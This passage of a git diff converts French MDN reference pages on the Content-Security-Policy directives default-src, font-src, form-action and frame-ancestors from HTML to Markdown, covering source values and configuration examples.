**`default-src`** sert de valeur par défaut pour les autres directives CSP {{Glossary("fetch directive", "fetch directives")}}. + +Pour chacune des directives suivantes, l'agent utilisateur consultera la directive `default-src` et utilisera sa valeur pour la directive demandée si celle-ci est absente : + +- {{CSP("child-src")}} +- {{CSP("connect-src")}} +- {{CSP("font-src")}} +- {{CSP("frame-src")}} +- {{CSP("img-src")}} +- {{CSP("manifest-src")}} +- {{CSP("media-src")}} +- {{CSP("object-src")}} +- {{CSP("prefetch-src")}} +- {{CSP("script-src")}} +- {{CSP("script-src-elem")}} +- {{CSP("script-src-attr")}} +- {{CSP("style-src")}} +- {{CSP("style-src-elem")}} +- {{CSP("style-src-attr")}} +- {{CSP("worker-src")}} <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>1</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Fetch directive")}}</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> - -<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> - -<pre class="syntaxbox">Content-Security-Policy: default-src <source>; -Content-Security-Policy: default-src <source> <source>; -</pre> - -<h3 id="Sources">Sources</h3> - -<p>La <source> peut être une des suivantes :</p> - -<dl> - <dt><host-source></dt> - <dd>Des hôtes Internet par leur nom de domaine ou adresse IP, aussi bien qu'un <a href="/en-US/docs/URIs_and_URLs">protocole</a> et/ou un numéro de port. L'adresse du site peut inclure un caractère de remplacement optionnel (l'astérisque <code>'*'</code>), qui ne peut être utilisée que pour indiquer un sous-domaine ou que tous les ports existants sont des sources valides.<br> - Exemples: - <ul> - <li><code>http://*.example.com</code>: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com via le protocole <code>http:</code>.</li> - <li><code>mail.example.com:443</code>: correspondra à toutes les tentatives d'accès sur le port 443 de mail.example.com.</li> - <li><code>https://store.example.com</code>: correspondra à toutes les tentatives d'accès à store.example.com via le protocole <code>https:</code>.</li> - <li><code>*.example.com</code>: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com en utilisant le protocole courant.</li> - </ul> - </dd> - <dt><scheme-source></dt> - <dd>Un protocole tel que <code>http:</code> ou <code>https:</code>. Les deux-points sont nécessaires. Contrairement à d'autres valeurs ci-bas, les guillemets ne devraient pas être employés. Vous pouvez aussi spécifier des schémas de données (quoi que ce ne soit pas recommandé). - <ul> - <li><code>data:</code> permet aux <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">URI <code>data:</code></a> d'être utilisées comme sources de contenu.<em> Cette pratique manque de sécurité ; une personne malveillante peut aussi injecter des URI data: arbitraires. Utilisez cette valeur avec parcimonie certainement pas pour des scripts.</em></li> - <li><code>mediastream:</code> permet aux <a href="/en-US/docs/Web/API/MediaStream_API">URI <code>mediastream:</code></a> d'être utilisées comme source de contenu.</li> - <li><code>blob:</code> permet aux <a href="/en-US/docs/Web/API/Blob">URI <code>blob:</code></a> d'être utilisées comme source de contenu.</li> - <li><code>filesystem:</code> Allows <a href="/en-US/docs/Web/API/FileSystem">URI <code>filesystem:</code></a> d'être utilisées comme source de contenu.</li> - </ul> - </dd> - <dt><code>'self'</code></dt> - <dd>Cette valeur fait référence au domaine dont est originaire le document protégé, y compris le protocole et le numéro de port. Vous devez mettre cette valeur entre guillemets. Certains navigateurs excluent spécifiquement les valeurs <code>blob</code> et <code>filesystem</code> des directives de source. Les sites nécessitant une permission pour ces types de contenu peuvent les spécifier en utilisant l'attribut Data.</dd> - <dt><code>'unsafe-eval'</code></dt> - <dd>Permet l'usage de la fonction <code>eval()</code> et de méthodes similaires pour créer du code à partir de chaines de caractères. Vous devez mettre cette valeur entre guillemets.</dd> - <dt><code>'unsafe-hashes'</code></dt> - <dd>Permet l'usage de certains <a href="/en-US/docs/Web/Guide/Events/Event_handlers">écouteurs d'évènements</a> par attributs. Si vous n'avez besoin que d'écouteurs d'évènements par attributs et non d'éléments {{HTMLElement("script")}} embarqués ou d'URL <code>javascript:</code>, cette valeur est plus sécurisée que <code>unsafe-inline</code>.</dd> - <dt><code>'unsafe-inline'</code></dt> - <dd>Permet l'usage de ressources embarquées, tels que des éléments {{HTMLElement("script")}} (sans <code>src</code>), d'URL <code>javascript:</code>, de gestionnaire d'évènement par attributs (<code>on<eventName></code>), et d'éléments {{HTMLElement("style")}}. Vous devez mettre cette valeur entre guillemets.</dd> - <dt><code>'none'</code></dt> - <dd>Aucune source n'est admise. Vous devez mettre cette valeur entre guillemets.</dd> - <dt>'nonce-<base64-value>'</dt> - <dd>Une liste de permissions pour des scripts embarqués spécifiques en utilisant un nonce (<em>number used once</em>, nombre à usage unique) cryptographique. Le serveur doit générer un nonce à chaque fois qu'il transmet une réponse. Il est extrèmement important de fournir des nonces non prédictibles, puisque le contraire permettrait aisément de contourner la stratégie de sécurité. Voir <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#Unsafe_inline_script">inline script non fiables</a> pour avoir un exemple. Spécifier un nonce implique que les navigateurs modernes ignoreront la valeur <code>'unsafe-inline'</code>, qui peut toutefois être laissée pour les anciens navigateurs ne supportant pas les nonces.</dd> - <dt>'<hash-algorithm>-<base64-value>'</dt> - <dd>Un hash sha256, sha384 ou sha512 d'un <code><script></code> ou d'un <code><style></code>. Cette source est composée de deux parties séparées par un tiret : le nom de l'algorithme de chiffrage utilisé pour générer le hash à gauche et le hash encodé en base 64 à droite. Lors de la génération du hash, il ne faut pas inclure les balises <code><script></code> or <code><style></code> et tenir compte de la casse et des caractères blancs (espaces, retours à la ligne, etc.). Voir <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#Unsafe_inline_script">inline script non fiables</a> pour en avoir un exemple. En CSP 2.0, cette valeur ne s'applique qu'aux scripts embarqués. CSP 3.0 le permet aussi dans le cas de scripts externes.</dd> - <dt>'strict-dynamic'</dt> - <dd>La valeur <code>strict-dynamic</code> spécifie que la confiance explicitement donnée à un script de la page, par le biais d'un nonce ou d'un hash, doit être propagée à tous les scripts chargés par celui-ci. En conséquence, toute les valeurs telles que <code>'self'</code> ou <code>'unsafe-inline'</code> et listes de permissions sont ignorées. Voir <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#strict-dynamic">script-src</a> pour en avoir un exemple.</dd> - <dt>'report-sample'</dt> - <dd>Requiert qu'un échantillon du code violant la directive soit inclus dans le rapport envoyé.</dd> -</dl> - - -<h2 id="Exemples">Exemples</h2> - -<h3 id="Absence_dhéritage_avec_default-src">Absence d'héritage avec default-src</h3> - -<p>S'il y a d'autres directives spécifiées, <code>default-src</code> ne les affecte pas. Soit l'en-tête suivant :</p> - -<pre class="brush: bash">Content-Security-Policy: default-src 'self'; script-src https://example.com</pre> - -<p>Est identique à :</p> - -<pre class="brush: bash">Content-Security-Policy: connect-src 'self'; +## Syntaxe + +Une ou plusieurs sources peuvent être autorisées pour cette directive : + + Content-Security-Policy: default-src <source>; + Content-Security-Policy: default-src <source> <source>; + +### Sources + +La \<source> peut être une des suivantes : + +- \<host-source> + + - : Des hôtes Internet par leur nom de domaine ou adresse IP, aussi bien qu'un [protocole](/en-US/docs/URIs_and_URLs) et/ou un numéro de port. L'adresse du site peut inclure un caractère de remplacement optionnel (l'astérisque `'*'`), qui ne peut être utilisée que pour indiquer un sous-domaine ou que tous les ports existants sont des sources valides. + Exemples: + + - `http://*.example.com`: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com via le protocole `http:`. + - `mail.example.com:443`: correspondra à toutes les tentatives d'accès sur le port 443 de mail.example.com. + - `https://store.example.com`: correspondra à toutes les tentatives d'accès à store.example.com via le protocole `https:`. + - `*.example.com`: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com en utilisant le protocole courant. + +- \<scheme-source> + + - : Un protocole tel que `http:` ou `https:`. Les deux-points sont nécessaires. Contrairement à d'autres valeurs ci-bas, les guillemets ne devraient pas être employés. Vous pouvez aussi spécifier des schémas de données (quoi que ce ne soit pas recommandé). + + - `data:` permet aux [URI `data:`](/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs) d'être utilisées comme sources de contenu. _Cette pratique manque de sécurité ; une personne malveillante peut aussi injecter des URI data: arbitraires. Utilisez cette valeur avec parcimonie certainement pas pour des scripts._ + - `mediastream:` permet aux [URI `mediastream:`](/en-US/docs/Web/API/MediaStream_API) d'être utilisées comme source de contenu. + - `blob:` permet aux [URI `blob:`](/en-US/docs/Web/API/Blob) d'être utilisées comme source de contenu. + - `filesystem:` Allows [URI `filesystem:`](/en-US/docs/Web/API/FileSystem) d'être utilisées comme source de contenu. + +- `'self'` + - : Cette valeur fait référence au domaine dont est originaire le document protégé, y compris le protocole et le numéro de port. Vous devez mettre cette valeur entre guillemets. Certains navigateurs excluent spécifiquement les valeurs `blob` et `filesystem` des directives de source. Les sites nécessitant une permission pour ces types de contenu peuvent les spécifier en utilisant l'attribut Data. +- `'unsafe-eval'` + - : Permet l'usage de la fonction `eval()` et de méthodes similaires pour créer du code à partir de chaines de caractères. Vous devez mettre cette valeur entre guillemets. +- `'unsafe-hashes'` + - : Permet l'usage de certains [écouteurs d'évènements](/en-US/docs/Web/Guide/Events/Event_handlers) par attributs. Si vous n'avez besoin que d'écouteurs d'évènements par attributs et non d'éléments {{HTMLElement("script")}} embarqués ou d'URL `javascript:`, cette valeur est plus sécurisée que `unsafe-inline`. +- `'unsafe-inline'` + - : Permet l'usage de ressources embarquées, tels que des éléments {{HTMLElement("script")}} (sans `src`), d'URL `javascript:`, de gestionnaire d'évènement par attributs (`on<eventName>`), et d'éléments {{HTMLElement("style")}}. Vous devez mettre cette valeur entre guillemets. +- `'none'` + - : Aucune source n'est admise. Vous devez mettre cette valeur entre guillemets. +- 'nonce-\<base64-value>' + - : Une liste de permissions pour des scripts embarqués spécifiques en utilisant un nonce (_number used once_, nombre à usage unique) cryptographique. Le serveur doit générer un nonce à chaque fois qu'il transmet une réponse. Il est extrèmement important de fournir des nonces non prédictibles, puisque le contraire permettrait aisément de contourner la stratégie de sécurité. Voir [inline script non fiables](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#Unsafe_inline_script) pour avoir un exemple. Spécifier un nonce implique que les navigateurs modernes ignoreront la valeur `'unsafe-inline'`, qui peut toutefois être laissée pour les anciens navigateurs ne supportant pas les nonces. +- '\<hash-algorithm>-\<base64-value>' + - : Un hash sha256, sha384 ou sha512 d'un `<script>` ou d'un `<style>`. Cette source est composée de deux parties séparées par un tiret : le nom de l'algorithme de chiffrage utilisé pour générer le hash à gauche et le hash encodé en base 64 à droite. Lors de la génération du hash, il ne faut pas inclure les balises `<script>` or `<style>` et tenir compte de la casse et des caractères blancs (espaces, retours à la ligne, etc.). Voir [inline script non fiables](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#Unsafe_inline_script) pour en avoir un exemple. En CSP 2.0, cette valeur ne s'applique qu'aux scripts embarqués. CSP 3.0 le permet aussi dans le cas de scripts externes. +- 'strict-dynamic' + - : La valeur `strict-dynamic` spécifie que la confiance explicitement donnée à un script de la page, par le biais d'un nonce ou d'un hash, doit être propagée à tous les scripts chargés par celui-ci. En conséquence, toute les valeurs telles que `'self'` ou `'unsafe-inline'` et listes de permissions sont ignorées. Voir [script-src](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#strict-dynamic) pour en avoir un exemple. +- 'report-sample' + - : Requiert qu'un échantillon du code violant la directive soit inclus dans le rapport envoyé. + +## Exemples + +### Absence d'héritage avec default-src + +S'il y a d'autres directives spécifiées, `default-src` ne les affecte pas. Soit l'en-tête suivant : + +```bash +Content-Security-Policy: default-src 'self'; script-src https://example.com +``` + +Est identique à : + +```bash +Content-Security-Policy: connect-src 'self'; font-src 'self'; frame-src 'self'; img-src 'self'; @@ -124,51 +121,29 @@ Content-Security-Policy: default-src <source> <source>; object-src 'self'; script-src https://example.com; style-src 'self'; - worker-src 'self'</pre> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{specName("CSP 3.0", "#directive-default-src", "default-src")}}</td> - <td>{{Spec2('CSP 3.0')}}</td> - <td>Ajout de <code>frame-src</code>, <code>manifest-src</code> et <code>worker-src</code> comme valeurs par défaut.</td> - </tr> - <tr> - <td>{{specName("CSP 1.1", "#directive-default-src", "default-src")}}</td> - <td>{{Spec2('CSP 1.1')}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> + worker-src 'self' +``` + +## Spécifications -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +| Spécification | Statut | Commentaire | +| ------------------------------------------------------------------------------------ | ---------------------------- | ------------------------------------------------------------------------------ | +| {{specName("CSP 3.0", "#directive-default-src", "default-src")}} | {{Spec2('CSP 3.0')}} | Ajout de `frame-src`, `manifest-src` et `worker-src` comme valeurs par défaut. | +| {{specName("CSP 1.1", "#directive-default-src", "default-src")}} | {{Spec2('CSP 1.1')}} | Définition initiale. | +## Compatibilité des navigateurs +{{Compat("http.headers.csp.Content-Security-Policy.default-src")}} -<p>{{Compat("http.headers.csp.Content-Security-Policy.default-src")}}</p> +## Voir aussi -<h2 id="Voir_aussi">Voir aussi</h2> +- {{HTTPHeader("Content-Security-Policy")}} +- CSP directives (<https://www.w3.org/TR/CSP/#csp-directives>): -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>CSP directives (<a href="https://www.w3.org/TR/CSP/#csp-directives">https://www.w3.org/TR/CSP/#csp-directives</a>): - <ul> - <li>{{Glossary("Fetch directive")}}</li> - <li>{{Glossary("Document directive")}}</li> - <li>{{Glossary("Navigation directive")}}</li> - <li>{{Glossary("Reporting directive")}}</li> - <li><code><a href="/docs/Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests">upgrade-insecure-requests</a></code></li> - <li><code><a href="/docs/Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content">block-all-mixed-content</a></code></li> - <li><code><a href="/docs/Web/HTTP/Headers/Content-Security-Policy/require-sri-for">require-sri-for</a></code> {{experimental_inline}}</li> - </ul> - </li> -</ul> + - {{Glossary("Fetch directive")}} + - {{Glossary("Document directive")}} + - {{Glossary("Navigation directive")}} + - {{Glossary("Reporting directive")}} + - [`upgrade-insecure-requests`](/docs/Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests) + - [`block-all-mixed-content`](/docs/Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content) + - [`require-sri-for`](/docs/Web/HTTP/Headers/Content-Security-Policy/require-sri-for) {{experimental_inline}} diff --git a/files/fr/web/http/headers/content-security-policy/font-src/index.md b/files/fr/web/http/headers/content-security-policy/font-src/index.md index d5f2317624..448e545cc4 100644 --- a/files/fr/web/http/headers/content-security-policy/font-src/index.md +++ b/files/fr/web/http/headers/content-security-policy/font-src/index.md @@ -13,50 +13,55 @@ tags: - source translation_of: Web/HTTP/Headers/Content-Security-Policy/font-src --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>font</strong></code><strong><code>-src</code></strong> spécifie les sources valides pour les polices chargés avec {{cssxref("@font-face")}}.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`font`\*\***`-src`\*\* spécifie les sources valides pour les polices chargés avec {{cssxref("@font-face")}}. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>1</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Fetch directive")}}</td> - </tr> - <tr> - <th scope="row">{{CSP("default-src")}} par défaut</th> - <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td> + Oui, si cette directive est absente, l'agent utilisateur consultera la + directive <code>default-src</code> + </td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> +Une ou plusieurs sources peuvent être autorisées pour cette directive : -<pre class="syntaxbox">Content-Security-Policy: font-src <source>; -Content-Security-Policy: font-src <source> <source>; -</pre> + Content-Security-Policy: font-src <source>; + Content-Security-Policy: font-src <source> <source>; -<h3 id="Sources">Sources</h3> +### Sources -<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> +{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}} -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Cas_de_violation">Cas de violation</h3> +### Cas de violation -<p>Soit cet en-tête CSP :</p> +Soit cet en-tête CSP : -<pre class="brush: bash">Content-Security-Policy: font-src https://example.com/</pre> +```bash +Content-Security-Policy: font-src https://example.com/ +``` -<p>Cette définition de police sera bloquée et ne se chargera pas :</p> +Cette définition de police sera bloquée et ne se chargera pas : -<pre class="brush: html"><style> +```html +<style> @font-face { font-family: "MyFont"; src: url("https://not-example.com/font"); @@ -64,37 +69,21 @@ Content-Security-Policy: font-src <source> <source>; body { font-family: "MyFont"; } -</style></pre> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - <tr> - <td>{{specName("CSP 3.0", "#directive-font-src", "font-src")}}</td> - <td>{{Spec2('CSP 3.0')}}</td> - <td>Inchangé.</td> - </tr> - <tr> - <td>{{specName("CSP 1.1", "#directive-font-src", "font-src")}}</td> - <td>{{Spec2('CSP 1.1')}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +</style> +``` + +## Spécifications + +| Spécification | Statut | Commentaire | +| ---------------------------------------------------------------------------- | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-font-src", "font-src")}} | {{Spec2('CSP 3.0')}} | Inchangé. | +| {{specName("CSP 1.1", "#directive-font-src", "font-src")}} | {{Spec2('CSP 1.1')}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.font-src")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.font-src")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{cssxref("@font-face")}}</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- {{cssxref("@font-face")}} diff --git a/files/fr/web/http/headers/content-security-policy/form-action/index.md b/files/fr/web/http/headers/content-security-policy/form-action/index.md index fee4d1839f..2c62d630ec 100644 --- a/files/fr/web/http/headers/content-security-policy/form-action/index.md +++ b/files/fr/web/http/headers/content-security-policy/form-action/index.md @@ -12,102 +12,90 @@ tags: - form-action translation_of: Web/HTTP/Headers/Content-Security-Policy/form-action --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>form</strong></code><strong><code>-action</code></strong> restreint les URL pouvant être utilisées comme cibles de soumissions de formulaires depuis un contexte donné.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`form`\*\***`-action`\*\* restreint les URL pouvant être utilisées comme cibles de soumissions de formulaires depuis un contexte donné. -<div class="warning"> -<p><strong>Attention :</strong> La question de savoir si <code>form-action</code> doit bloquer les redirections après une soumission de formulaire est encore <a href="https://github.com/w3c/webappsec-csp/issues/8">débattue</a> et les implantations des navigateurs sur cet aspect sont incohérentes (par exemple Firefox 57 ne les bloque pas, contrairement à Chrome 63).</p> -</div> +> **Attention :** La question de savoir si `form-action` doit bloquer les redirections après une soumission de formulaire est encore [débattue](https://github.com/w3c/webappsec-csp/issues/8) et les implantations des navigateurs sur cet aspect sont incohérentes (par exemple Firefox 57 ne les bloque pas, contrairement à Chrome 63). <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>2</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Navigation directive")}}</td> - </tr> - <tr> - <th scope="row">{{CSP("default-src")}} par défaut</th> - <td>Non, ne pas la définir autorise toutes les adresses.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>2</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Navigation directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td>Non, ne pas la définir autorise toutes les adresses.</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Une ou plusieurs sources peuvent être utilisées pour cette directive :</p> +Une ou plusieurs sources peuvent être utilisées pour cette directive : -<pre class="syntaxbox">Content-Security-Policy: form-action <source>; -Content-Security-Policy: form-action <source> <source>; -</pre> + Content-Security-Policy: form-action <source>; + Content-Security-Policy: form-action <source> <source>; -<h3 id="Sources">Sources</h3> +### Sources -<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p> +{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}} -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Configuration_par_balise_<meta>">Configuration par balise <meta></h3> +### Configuration par balise \<meta> -<pre class="brush: html"><meta http-equiv="Content-Security-Policy" content="form-action 'none'"></pre> +```html +<meta http-equiv="Content-Security-Policy" content="form-action 'none'"> +``` -<h3 id="Configuration_par_Apache">Configuration par Apache</h3> +### Configuration par Apache -<pre class="brush: bash"><IfModule mod_headers.c> +```bash +<IfModule mod_headers.c> Header set Content-Security-Policy "form-action 'none';" -</IfModule></pre> +</IfModule> +``` -<h3 id="Configuration_par_Nginx">Configuration par Nginx</h3> +### Configuration par Nginx -<pre class="brush: bash">add_header Content-Security-Policy "form-action 'none';"</pre> +```bash +add_header Content-Security-Policy "form-action 'none';" +``` -<h3 id="Cas_de_violation">Cas de violation</h3> +### Cas de violation -<p>Utiliser un élément {{HTMLElement("form")}} avec un attribut <code>action</code> défini à un script embarqué JavaScript résultera en une violation de CSP :</p> +Utiliser un élément {{HTMLElement("form")}} avec un attribut `action` défini à un script embarqué JavaScript résultera en une violation de CSP : -<pre class="brush: html; example-bad"><meta http-equiv="Content-Security-Policy" content="form-action 'none'"> +```html example-bad +<meta http-equiv="Content-Security-Policy" content="form-action 'none'"> -<form action="javascript:alert('Foo')" id="form1" method="post"> - <input type="text" name="fieldName" value="fieldValue"> - <input type="submit" id="submit" value="submit"> -</form> +<form action="javascript:alert('Foo')" id="form1" method="post"> + <input type="text" name="fieldName" value="fieldValue"> + <input type="submit" id="submit" value="submit"> +</form> // Error: Refused to send form data because it violates the following -// Content Security Policy directive: "form-action 'none'".</pre> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - <tr> - <td>{{specName("CSP 3.0", "#directive-form-action", "form-action")}}</td> - <td>{{Spec2('CSP 3.0')}}</td> - <td>Inchangé.</td> - </tr> - <tr> - <td>{{specName("CSP 1.1", "#directive-form-action", "form-action")}}</td> - <td>{{Spec2('CSP 1.1')}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +// Content Security Policy directive: "form-action 'none'". +``` + +## Spécifications + +| Spécification | Statut | Commentaire | +| ------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-form-action", "form-action")}} | {{Spec2('CSP 3.0')}} | Inchangé. | +| {{specName("CSP 1.1", "#directive-form-action", "form-action")}} | {{Spec2('CSP 1.1')}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.form-action")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.form-action")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPheader("Content-Security-Policy")}}</li> - <li>{{HTMLElement("form")}}</li> -</ul> +- {{HTTPheader("Content-Security-Policy")}} +- {{HTMLElement("form")}} diff --git a/files/fr/web/http/headers/content-security-policy/frame-ancestors/index.md b/files/fr/web/http/headers/content-security-policy/frame-ancestors/index.md index 756e247616..04447f1f64 100644 --- a/files/fr/web/http/headers/content-security-policy/frame-ancestors/index.md +++ b/files/fr/web/http/headers/content-security-policy/frame-ancestors/index.md @@ -13,112 +13,93 @@ tags: - source translation_of: Web/HTTP/Headers/Content-Security-Policy/frame-ancestors --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>frame-ancestors</strong></code> spécifie les parents pouvant intégrer une page en utilisant {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, ou {{HTMLElement("applet")}}.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`frame-ancestors`** spécifie les parents pouvant intégrer une page en utilisant {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, ou {{HTMLElement("applet")}}. -<p>Définir cette directive à <code>'none'</code> est comparable à len-tête HTTP {{HTTPHeader("X-Frame-Options")}}<code>: deny</code> (aussi supporté sur les anciens navigateurs).</p> +Définir cette directive à `'none'` est comparable à len-tête HTTP {{HTTPHeader("X-Frame-Options")}}`: deny` (aussi supporté sur les anciens navigateurs). <table class="properties"> - <tbody> - <tr> - <th scope="row">CSP version</th> - <td>2</td> - </tr> - <tr> - <th scope="row">Directive type</th> - <td>{{Glossary("Navigation directive")}}</td> - </tr> - <tr> - <th scope="row">{{CSP("default-src")}} fallback</th> - <td>No. Not setting this allows anything.</td> - </tr> - <tr> - <th colspan="2" scope="row">This directive is not supported in the {{HTMLElement("meta")}} element.</th> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">CSP version</th> + <td>2</td> + </tr> + <tr> + <th scope="row">Directive type</th> + <td>{{Glossary("Navigation directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} fallback</th> + <td>No. Not setting this allows anything.</td> + </tr> + <tr> + <th colspan="2" scope="row"> + This directive is not supported in the {{HTMLElement("meta")}} + element. + </th> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> - -<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> - -<pre class="syntaxbox">Content-Security-Policy: frame-ancestors <source>; -Content-Security-Policy: frame-ancestors <source> <source>; -</pre> - -<h3 id="Sources">Sources</h3> - -<p>La <source> peut être une des suivantes :</p> - -<div class="note"> -<p><strong>Note :</strong> The <code>frame-ancestors</code> directive’s syntax is similar to a source list of other directives (e.g. {{CSP("default-src")}}), but doesn't allow <code>'unsafe-eval'</code> or <code>'unsafe-inline'</code> for example. It will also not fall back to a <code>default-src</code> setting. Only the sources listed below are allowed:</p> -</div> - -<dl> - <dt><host-source></dt> - <dd>Des hôtes Internet par leur nom de domaine ou adresse IP, aussi bien qu'un <a href="/fr/docs/URIs_and_URLs">protocole</a> et/ou un numéro de port. L'adresse du site peut inclure un caractère de remplacement optionnel (l'astérisque <code>'*'</code>), qui ne peut être utilisée que pour indiquer un sous-domaine ou que tous les ports existants sont des sources valides. Vous ne devez pas mettre de guillemets simples.<br> - Exemples : - <ul> - <li><code>http://*.example.com</code>: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com via le protocole <code>http:</code>.</li> - <li><code>mail.example.com:443</code>: correspondra à toutes les tentatives d'accès sur le port 443 de mail.example.com.</li> - <li><code>https://store.example.com</code>: correspondra à toutes les tentatives d'accès à store.example.com via le protocole <code>https:</code>.</li> - </ul> - - <div class="warning"> - <p><strong>Attention :</strong> Si aucun schéma d'URL n'est spécifié comme <code>host-source</code> et que l'{{HTMLElement("iframe")}} est chargée via une URL <code>https:</code>, la page chargeant l'iframe doit aussi être chargée en <code>https:</code>, selon la spécification du W3C sur <a href="https://w3c.github.io/webappsec-csp/2/#match-source-expression">les correspondances de valeurs de sources</a>.</p> - </div> - </dd> - <dt><scheme-source></dt> - <dd>Un protocole tel que <code>http:</code> or <code>https:</code>. Les deux-points sont nécessaires et vous ne devez pas mettre de guillemets. Vous pouvez aussi spécifier des schémas de données bien que ce ne soit pas recommandé. - <ul> - <li><code>data:</code> Autorise <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">les URI <code>data:</code></a> à être utilisées comme source de contenu.<em> Cette pratique manque de sécurité ; une personne malveillante peut aussi injecter des URI data: arbitraires. Utilisez cette valeur avec parcimonie et certainement pas pour des scripts.</em></li> - <li><code>mediastream:</code> permet aux <a href="/fr/docs/Web/API/MediaStream_API">URI <code>mediastream:</code></a> d'être utilisées comme source de contenu.</li> - <li><code>blob:</code> permet aux <a href="/fr/docs/Web/API/Blob">URI <code>blob:</code></a> d'être utilisées comme source de contenu.</li> - <li><code>filesystem:</code> Allows <a 